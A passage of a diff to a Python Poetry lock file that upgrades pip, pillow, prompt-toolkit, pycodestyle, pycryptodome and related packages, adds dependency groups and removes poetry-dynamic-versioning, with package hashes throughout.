"pillow-11.1.0-cp313-cp313-win_arm64.whl", hash = "sha256:11633d58b6ee5733bde153a8dafd25e505ea3d32e261accd388827ee987baf65"}, + {file = "pillow-11.1.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:70ca5ef3b3b1c4a0812b5c63c57c23b63e53bc38e758b37a951e5bc466449861"}, + {file = "pillow-11.1.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:8000376f139d4d38d6851eb149b321a52bb8893a88dae8ee7d95840431977081"}, + {file = "pillow-11.1.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ee85f0696a17dd28fbcfceb59f9510aa71934b483d1f5601d1030c3c8304f3c"}, + {file = "pillow-11.1.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:dd0e081319328928531df7a0e63621caf67652c8464303fd102141b785ef9547"}, + {file = "pillow-11.1.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:e63e4e5081de46517099dc30abe418122f54531a6ae2ebc8680bcd7096860eab"}, + {file = "pillow-11.1.0-cp313-cp313t-win32.whl", hash = "sha256:dda60aa465b861324e65a78c9f5cf0f4bc713e4309f83bc387be158b077963d9"}, + {file = "pillow-11.1.0-cp313-cp313t-win_amd64.whl", hash = "sha256:ad5db5781c774ab9a9b2c4302bbf0c1014960a0a7be63278d13ae6fdf88126fe"}, + {file = "pillow-11.1.0-cp313-cp313t-win_arm64.whl", hash = "sha256:67cd427c68926108778a9005f2a04adbd5e67c442ed21d95389fe1d595458756"}, + {file = "pillow-11.1.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:bf902d7413c82a1bfa08b06a070876132a5ae6b2388e2712aab3a7cbc02205c6"}, + {file = "pillow-11.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:c1eec9d950b6fe688edee07138993e54ee4ae634c51443cfb7c1e7613322718e"}, + {file = "pillow-11.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8e275ee4cb11c262bd108ab2081f750db2a1c0b8c12c1897f27b160c8bd57bbc"}, + {file = "pillow-11.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4db853948ce4e718f2fc775b75c37ba2efb6aaea41a1a5fc57f0af59eee774b2"}, + {file = "pillow-11.1.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:ab8a209b8485d3db694fa97a896d96dd6533d63c22829043fd9de627060beade"}, + {file = "pillow-11.1.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:54251ef02a2309b5eec99d151ebf5c9904b77976c8abdcbce7891ed22df53884"}, + {file = "pillow-11.1.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:5bb94705aea800051a743aa4874bb1397d4695fb0583ba5e425ee0328757f196"}, + {file = "pillow-11.1.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:89dbdb3e6e9594d512780a5a1c42801879628b38e3efc7038094430844e271d8"}, + {file = "pillow-11.1.0-cp39-cp39-win32.whl", hash = "sha256:e5449ca63da169a2e6068dd0e2fcc8d91f9558aba89ff6d02121ca8ab11e79e5"}, + {file = "pillow-11.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:3362c6ca227e65c54bf71a5f88b3d4565ff1bcbc63ae72c34b07bbb1cc59a43f"}, + {file = "pillow-11.1.0-cp39-cp39-win_arm64.whl", hash = "sha256:b20be51b37a75cc54c2c55def3fa2c65bb94ba859dde241cd0a4fd302de5ae0a"}, + {file = "pillow-11.1.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:8c730dc3a83e5ac137fbc92dfcfe1511ce3b2b5d7578315b63dbbb76f7f51d90"}, + {file = "pillow-11.1.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:7d33d2fae0e8b170b6a6c57400e077412240f6f5bb2a342cf1ee512a787942bb"}, + {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a8d65b38173085f24bc07f8b6c505cbb7418009fa1a1fcb111b1f4961814a442"}, + {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:015c6e863faa4779251436db398ae75051469f7c903b043a48f078e437656f83"}, + {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:d44ff19eea13ae4acdaaab0179fa68c0c6f2f45d66a4d8ec1eda7d6cecbcc15f"}, + {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:d3d8da4a631471dfaf94c10c85f5277b1f8e42ac42bade1ac67da4b4a7359b73"}, + {file = "pillow-11.1.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:4637b88343166249fe8aa94e7c4a62a180c4b3898283bb5d3d2fd5fe10d8e4e0"}, + {file = "pillow-11.1.0.tar.gz", hash = "sha256:368da70808b36d73b4b390a8ffac11069f8a5c85f29eff1f1b01bcf3ef5b2a20"}, ] [package.extras] -docs = ["furo", "olefile", "sphinx (>=7.3)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinxext-opengraph"] +docs = ["furo", "olefile", "sphinx (>=8.1)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinxext-opengraph"] fpx = ["olefile"] mic = ["olefile"] -tests = ["check-manifest", "coverage", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout"] -typing = ["typing-extensions"] +tests = ["check-manifest", "coverage (>=7.4.2)", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout", "trove-classifiers (>=2024.10.12)"] +typing = ["typing-extensions ; python_version < \"3.10\""] xmp = ["defusedxml"] [[package]] name = "pip" -version = "24.1.2" +version = "25.0.1" description = "The PyPA recommended tool for installing Python packages." optional = false python-versions = ">=3.8" +groups = ["dev"] files = [ - {file = "pip-24.1.2-py3-none-any.whl", hash = "sha256:7cd207eed4c60b0f411b444cd1464198fe186671c323b6cd6d433ed80fc9d247"}, - {file = "pip-24.1.2.tar.gz", hash = "sha256:e5458a0b89f2755e0ee8c0c77613fe5273e05f337907874d64f13171a898a7ff"}, + {file = "pip-25.0.1-py3-none-any.whl", hash = "sha256:c46efd13b6aa8279f33f2864459c8ce587ea6a1a59ee20de055868d8f7688f7f"}, + {file = "pip-25.0.1.tar.gz", hash = "sha256:88f96547ea48b940a3a385494e181e29fb8637898f88d88737c5049780f196ea"}, ] [[package]] @@ -1531,6 +1543,7 @@ version = "1.5.0" description = "plugin and hook calling mechanisms for python" optional = false python-versions = ">=3.8" +groups = ["dev"] files = [ {file = "pluggy-1.5.0-py3-none-any.whl", hash = "sha256:44e1ad92c8ca002de6377e165f3e0f1be63266ab4d554740532335b9d75ea669"}, {file = "pluggy-1.5.0.tar.gz", hash = "sha256:2cffa88e94fdc978c4c574f15f9e59b7f4201d439195c3715ca9e2486f1d0cf1"}, @@ -1540,34 +1553,16 @@ files = [ dev = ["pre-commit", "tox"] testing = ["pytest", "pytest-benchmark"] -[[package]] -name = "poetry-dynamic-versioning" -version = "1.4.0" -description = "Plugin for Poetry to enable dynamic versioning based on VCS tags" -optional = false -python-versions = "<4.0,>=3.7" -files = [ - {file = "poetry_dynamic_versioning-1.4.0-py3-none-any.whl", hash = "sha256:d6727d33d1c65850039cd804013a43780e0a3c9a3d693cf557ab87aa3891f148"}, - {file = "poetry_dynamic_versioning-1.4.0.tar.gz", hash = "sha256:725178bd50a22f2dd4035de7f965151e14ecf8f7f19996b9e536f4c5559669a7"}, -] - -[package.dependencies] -dunamai = ">=1.21.0,<2.0.0" -jinja2 = ">=2.11.1,<4" -tomlkit = ">=0.4" - -[package.extras] -plugin = ["poetry (>=1.2.0,<2.0.0)"] - [[package]] name = "prompt-toolkit" -version = "3.0.47" +version = "3.0.50" description = "Library for building powerful interactive command lines in Python" optional = false -python-versions = ">=3.7.0" +python-versions = ">=3.8.0" +groups = ["main"] files = [ - {file = "prompt_toolkit-3.0.47-py3-none-any.whl", hash = "sha256:0d7bfa67001d5e39d02c224b663abc33687405033a8c422d0d675a5a13361d10"}, - {file = "prompt_toolkit-3.0.47.tar.gz", hash = "sha256:1e1b29cb58080b1e69f207c893a1a7bf16d127a5c30c9d17a25a5d77792e5360"}, + {file = "prompt_toolkit-3.0.50-py3-none-any.whl", hash = "sha256:9b6427eb19e479d98acff65196a307c555eb567989e6d88ebbb1b509d9779198"}, + {file = "prompt_toolkit-3.0.50.tar.gz", hash = "sha256:544748f3860a2623ca5cd6d2795e7a14f3d0e1c3c9728359013f79877fc89bab"}, ] [package.dependencies] @@ -1579,6 +1574,7 @@ version = "0.4.8" description = "ASN.1 types and codecs" optional = false python-versions = "*" +groups = ["main"] files = [ {file = "pyasn1-0.4.8-py2.py3-none-any.whl", hash = "sha256:39c7e2ec30515947ff4e87fb6f456dfc6e84857d34be479c9d4a4ba4bf46aa5d"}, {file = "pyasn1-0.4.8.tar.gz", hash = "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba"}, @@ -1586,27 +1582,29 @@ files = [ [[package]] name = "pyasn1-modules" -version = "0.3.0" +version = "0.4.1" description = "A collection of ASN.1-based protocols modules" optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" +python-versions = ">=3.8" +groups = ["main"] files = [ - {file = "pyasn1_modules-0.3.0-py2.py3-none-any.whl", hash = "sha256:d3ccd6ed470d9ffbc716be08bd90efbd44d0734bc9303818f7336070984a162d"}, - {file = "pyasn1_modules-0.3.0.tar.gz", hash = "sha256:5bd01446b736eb9d31512a30d46c1ac3395d676c6f3cafa4c03eb54b9925631c"}, + {file = "pyasn1_modules-0.4.1-py3-none-any.whl", hash = "sha256:49bfa96b45a292b711e986f222502c1c9a5e1f4e568fc30e2574a6c7d07838fd"}, + {file = "pyasn1_modules-0.4.1.tar.gz", hash = "sha256:c28e2dbf9c06ad61c71a075c7e0f9fd0f1b0bb2d2ad4377f240d33ac2ab60a7c"}, ] [package.dependencies] -pyasn1 = ">=0.4.6,<0.6.0" +pyasn1 = ">=0.4.6,<0.7.0" [[package]] name = "pycodestyle" -version = "2.9.1" +version = "2.12.1" description = "Python style guide checker" optional = false -python-versions = ">=3.6" +python-versions = ">=3.8" +groups = ["dev"] files = [ - {file = "pycodestyle-2.9.1-py2.py3-none-any.whl", hash = "sha256:d1735fc58b418fd7c5f658d28d943854f8a849b01a5d0a1e6f3f3fdd0166804b"}, - {file = "pycodestyle-2.9.1.tar.gz", hash = "sha256:2c9607871d58c76354b697b42f5d57e1ada7d261c261efac224b664affdc5785"}, + {file = "pycodestyle-2.12.1-py2.py3-none-any.whl", hash = "sha256:46f0fb92069a7c28ab7bb558f05bfc0110dac69a0cd23c61ea0040283a9d78b3"}, + {file = "pycodestyle-2.12.1.tar.gz", hash = "sha256:6838eae08bbce4f6accd5d5572075c63626a15ee3e6f842df996bf62f6d73521"}, ] [[package]] @@ -1615,6 +1613,7 @@ version = "2.22" description = "C parser in Python" optional = false python-versions = ">=3.8" +groups = ["main"] files = [ {file = "pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc"}, {file = "pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6"}, @@ -1622,106 +1621,110 @@ files = [ [[package]] name = "pycryptodome" -version = "3.20.0" +version = "3.21.0" description = "Cryptographic library for Python" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" +groups = ["main"] files = [ - {file = "pycryptodome-3.20.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:f0e6d631bae3f231d3634f91ae4da7a960f7ff87f2865b2d2b831af1dfb04e9a"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:baee115a9ba6c5d2709a1e88ffe62b73ecc044852a925dcb67713a288c4ec70f"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:417a276aaa9cb3be91f9014e9d18d10e840a7a9b9a9be64a42f553c5b50b4d1d"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2a1250b7ea809f752b68e3e6f3fd946b5939a52eaeea18c73bdab53e9ba3c2dd"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:d5954acfe9e00bc83ed9f5cb082ed22c592fbbef86dc48b907238be64ead5c33"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-win32.whl", hash = "sha256:06d6de87c19f967f03b4cf9b34e538ef46e99a337e9a61a77dbe44b2cbcf0690"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-win_amd64.whl", hash = "sha256:ec0bb1188c1d13426039af8ffcb4dbe3aad1d7680c35a62d8eaf2a529b5d3d4f"}, - {file = "pycryptodome-3.20.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:5601c934c498cd267640b57569e73793cb9a83506f7c73a8ec57a516f5b0b091"}, - {file = "pycryptodome-3.20.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:d29daa681517f4bc318cd8a23af87e1f2a7bad2fe361e8aa29c77d652a065de4"}, - {file = "pycryptodome-3.20.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3427d9e5310af6680678f4cce149f54e0bb4af60101c7f2c16fdf878b39ccccc"}, - {file = "pycryptodome-3.20.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:3cd3ef3aee1079ae44afaeee13393cf68b1058f70576b11439483e34f93cf818"}, - {file = "pycryptodome-3.20.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:ac1c7c0624a862f2e53438a15c9259d1655325fc2ec4392e66dc46cdae24d044"}, - {file = "pycryptodome-3.20.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:76658f0d942051d12a9bd08ca1b6b34fd762a8ee4240984f7c06ddfb55eaf15a"}, - {file = "pycryptodome-3.20.0-cp35-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f35d6cee81fa145333137009d9c8ba90951d7d77b67c79cbe5f03c7eb74d8fe2"}, - {file = "pycryptodome-3.20.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76cb39afede7055127e35a444c1c041d2e8d2f1f9c121ecef573757ba4cd2c3c"}, - {file = "pycryptodome-3.20.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:49a4c4dc60b78ec41d2afa392491d788c2e06edf48580fbfb0dd0f828af49d25"}, - {file = "pycryptodome-3.20.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:fb3b87461fa35afa19c971b0a2b7456a7b1db7b4eba9a8424666104925b78128"}, - {file = "pycryptodome-3.20.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:acc2614e2e5346a4a4eab6e199203034924313626f9620b7b4b38e9ad74b7e0c"}, - {file = "pycryptodome-3.20.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:210ba1b647837bfc42dd5a813cdecb5b86193ae11a3f5d972b9a0ae2c7e9e4b4"}, - {file = "pycryptodome-3.20.0-cp35-abi3-win32.whl", hash = "sha256:8d6b98d0d83d21fb757a182d52940d028564efe8147baa9ce0f38d057104ae72"}, - {file = "pycryptodome-3.20.0-cp35-abi3-win_amd64.whl", hash = "sha256:9b3ae153c89a480a0ec402e23db8d8d84a3833b65fa4b15b81b83be9d637aab9"}, - {file = "pycryptodome-3.20.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:4401564ebf37dfde45d096974c7a159b52eeabd9969135f0426907db367a652a"}, - {file = "pycryptodome-3.20.0-pp27-pypy_73-win32.whl", hash = "sha256:ec1f93feb3bb93380ab0ebf8b859e8e5678c0f010d2d78367cf6bc30bfeb148e"}, - {file = "pycryptodome-3.20.0-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = "sha256:acae12b9ede49f38eb0ef76fdec2df2e94aad85ae46ec85be3648a57f0a7db04"}, - {file = "pycryptodome-3.20.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f47888542a0633baff535a04726948e876bf1ed880fddb7c10a736fa99146ab3"}, - {file = "pycryptodome-3.20.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6e0e4a987d38cfc2e71b4a1b591bae4891eeabe5fa0f56154f576e26287bfdea"}, - {file = "pycryptodome-3.20.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:c18b381553638414b38705f07d1ef0a7cf301bc78a5f9bc17a957eb19446834b"}, - {file = "pycryptodome-3.20.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a60fedd2b37b4cb11ccb5d0399efe26db9e0dd149016c1cc6c8161974ceac2d6"}, - {file = "pycryptodome-3.20.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:405002eafad114a2f9a930f5db65feef7b53c4784495dd8758069b89baf68eab"}, - {file = "pycryptodome-3.20.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2ab6ab0cb755154ad14e507d1df72de9897e99fd2d4922851a276ccc14f4f1a5"}, - {file = "pycryptodome-3.20.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:acf6e43fa75aca2d33e93409f2dafe386fe051818ee79ee8a3e21de9caa2ac9e"}, - {file = "pycryptodome-3.20.0.tar.gz", hash = "sha256:09609209ed7de61c2b560cc5c8c4fbf892f8b15b1faf7e4cbffac97db1fffda7"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:dad9bf36eda068e89059d1f07408e397856be9511d7113ea4b586642a429a4fd"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:a1752eca64c60852f38bb29e2c86fca30d7672c024128ef5d70cc15868fa10f4"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:3ba4cc304eac4d4d458f508d4955a88ba25026890e8abff9b60404f76a62c55e"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7cb087b8612c8a1a14cf37dd754685be9a8d9869bed2ffaaceb04850a8aeef7e"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:26412b21df30b2861424a6c6d5b1d8ca8107612a4cfa4d0183e71c5d200fb34a"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-win32.whl", hash = "sha256:cc2269ab4bce40b027b49663d61d816903a4bd90ad88cb99ed561aadb3888dd3"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-win_amd64.whl", hash = "sha256:0fa0a05a6a697ccbf2a12cec3d6d2650b50881899b845fac6e87416f8cb7e87d"}, + {file = "pycryptodome-3.21.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:6cce52e196a5f1d6797ff7946cdff2038d3b5f0aba4a43cb6bf46b575fd1b5bb"}, + {file = "pycryptodome-3.21.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:a915597ffccabe902e7090e199a7bf7a381c5506a747d5e9d27ba55197a2c568"}, + {file = "pycryptodome-3.21.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a4e74c522d630766b03a836c15bff77cb657c5fdf098abf8b1ada2aebc7d0819"}, + {file = "pycryptodome-3.21.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:a3804675283f4764a02db05f5191eb8fec2bb6ca34d466167fc78a5f05bbe6b3"}, + {file = "pycryptodome-3.21.0-cp36-abi3-macosx_10_9_universal2.whl", hash = "sha256:2480ec2c72438430da9f601ebc12c518c093c13111a5c1644c82cdfc2e50b1e4"}, + {file = "pycryptodome-3.21.0-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:de18954104667f565e2fbb4783b56667f30fb49c4d79b346f52a29cb198d5b6b"}, + {file = "pycryptodome-3.21.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2de4b7263a33947ff440412339cb72b28a5a4c769b5c1ca19e33dd6cd1dcec6e"}, + {file = "pycryptodome-3.21.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0714206d467fc911042d01ea3a1847c847bc10884cf674c82e12915cfe1649f8"}, + {file = "pycryptodome-3.21.0-cp36-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7d85c1b613121ed3dbaa5a97369b3b757909531a959d229406a75b912dd51dd1"}, + {file = "pycryptodome-3.21.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:8898a66425a57bcf15e25fc19c12490b87bd939800f39a03ea2de2aea5e3611a"}, + {file = "pycryptodome-3.21.0-cp36-abi3-musllinux_1_2_i686.whl", hash = "sha256:932c905b71a56474bff8a9c014030bc3c882cee696b448af920399f730a650c2"}, + {file = "pycryptodome-3.21.0-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:18caa8cfbc676eaaf28613637a89980ad2fd96e00c564135bf90bc3f0b34dd93"}, + {file = "pycryptodome-3.21.0-cp36-abi3-win32.whl", hash = "sha256:280b67d20e33bb63171d55b1067f61fbd932e0b1ad976b3a184303a3dad22764"}, + {file = "pycryptodome-3.21.0-cp36-abi3-win_amd64.whl", hash = "sha256:b7aa25fc0baa5b1d95b7633af4f5f1838467f1815442b22487426f94e0d66c53"}, + {file = "pycryptodome-3.21.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:2cb635b67011bc147c257e61ce864879ffe6d03342dc74b6045059dfbdedafca"}, + {file = "pycryptodome-3.21.0-pp27-pypy_73-win32.whl", hash = "sha256:4c26a2f0dc15f81ea3afa3b0c87b87e501f235d332b7f27e2225ecb80c0b1cdd"}, + {file = "pycryptodome-3.21.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:d5ebe0763c982f069d3877832254f64974139f4f9655058452603ff559c482e8"}, + {file = "pycryptodome-3.21.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7ee86cbde706be13f2dec5a42b52b1c1d1cbb90c8e405c68d0755134735c8dc6"}, + {file = "pycryptodome-3.21.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0fd54003ec3ce4e0f16c484a10bc5d8b9bd77fa662a12b85779a2d2d85d67ee0"}, + {file = "pycryptodome-3.21.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:5dfafca172933506773482b0e18f0cd766fd3920bd03ec85a283df90d8a17bc6"}, + {file = "pycryptodome-3.21.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:590ef0898a4b0a15485b05210b4a1c9de8806d3ad3d47f74ab1dc07c67a6827f"}, + {file = "pycryptodome-3.21.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f35e442630bc4bc2e1878482d6f59ea22e280d7121d7adeaedba58c23ab6386b"}, + {file = "pycryptodome-3.21.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ff99f952db3db2fbe98a0b355175f93ec334ba3d01bbde25ad3a5a33abc02b58"}, + {file = "pycryptodome-3.21.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:8acd7d34af70ee63f9a849f957558e49a98f8f1634f86a59d2be62bb8e93f71c"}, + {file = "pycryptodome-3.21.0.tar.gz", hash = "sha256:f7787e0d469bdae763b876174cf2e6c0f7be79808af26b1da96f1a64bcf47297"}, ] [[package]] name = "pycryptodomex" -version = "3.20.0" +version = "3.21.0" description = "Cryptographic library for Python" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" +groups = ["main"] files = [ - {file = "pycryptodomex-3.20.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:645bd4ca6f543685d643dadf6a856cc382b654cc923460e3a10a49c1b3832aeb"}, - {file = "pycryptodomex-3.20.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:ff5c9a67f8a4fba4aed887216e32cbc48f2a6fb2673bb10a99e43be463e15913"}, - {file = "pycryptodomex-3.20.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:8ee606964553c1a0bc74057dd8782a37d1c2bc0f01b83193b6f8bb14523b877b"}, - {file = "pycryptodomex-3.20.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7805830e0c56d88f4d491fa5ac640dfc894c5ec570d1ece6ed1546e9df2e98d6"}, - {file = "pycryptodomex-3.20.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:bc3ee1b4d97081260d92ae813a83de4d2653206967c4a0a017580f8b9548ddbc"}, - {file = "pycryptodomex-3.20.0-cp27-cp27m-win32.whl", hash = "sha256:8af1a451ff9e123d0d8bd5d5e60f8e3315c3a64f3cdd6bc853e26090e195cdc8"}, - {file = "pycryptodomex-3.20.0-cp27-cp27m-win_amd64.whl", hash = "sha256:cbe71b6712429650e3883dc81286edb94c328ffcd24849accac0a4dbcc76958a"}, - {file = "pycryptodomex-3.20.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:76bd15bb65c14900d98835fcd10f59e5e0435077431d3a394b60b15864fddd64"}, - {file = "pycryptodomex-3.20.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:653b29b0819605fe0898829c8ad6400a6ccde096146730c2da54eede9b7b8baa"}, - {file = "pycryptodomex-3.20.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:62a5ec91388984909bb5398ea49ee61b68ecb579123694bffa172c3b0a107079"}, - {file = "pycryptodomex-3.20.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:108e5f1c1cd70ffce0b68739c75734437c919d2eaec8e85bffc2c8b4d2794305"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:59af01efb011b0e8b686ba7758d59cf4a8263f9ad35911bfe3f416cee4f5c08c"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:82ee7696ed8eb9a82c7037f32ba9b7c59e51dda6f105b39f043b6ef293989cb3"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:91852d4480a4537d169c29a9d104dda44094c78f1f5b67bca76c29a91042b623"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bca649483d5ed251d06daf25957f802e44e6bb6df2e8f218ae71968ff8f8edc4"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6e186342cfcc3aafaad565cbd496060e5a614b441cacc3995ef0091115c1f6c5"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:25cd61e846aaab76d5791d006497134602a9e451e954833018161befc3b5b9ed"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:9c682436c359b5ada67e882fec34689726a09c461efd75b6ea77b2403d5665b7"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:7a7a8f33a1f1fb762ede6cc9cbab8f2a9ba13b196bfaf7bc6f0b39d2ba315a43"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-win32.whl", hash = "sha256:c39778fd0548d78917b61f03c1fa8bfda6cfcf98c767decf360945fe6f97461e"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-win_amd64.whl", hash = "sha256:2a47bcc478741b71273b917232f521fd5704ab4b25d301669879e7273d3586cc"}, - {file = "pycryptodomex-3.20.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:1be97461c439a6af4fe1cf8bf6ca5936d3db252737d2f379cc6b2e394e12a458"}, - {file = "pycryptodomex-3.20.0-pp27-pypy_73-win32.whl", hash = "sha256:19764605feea0df966445d46533729b645033f134baeb3ea26ad518c9fdf212c"}, - {file = "pycryptodomex-3.20.0-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = 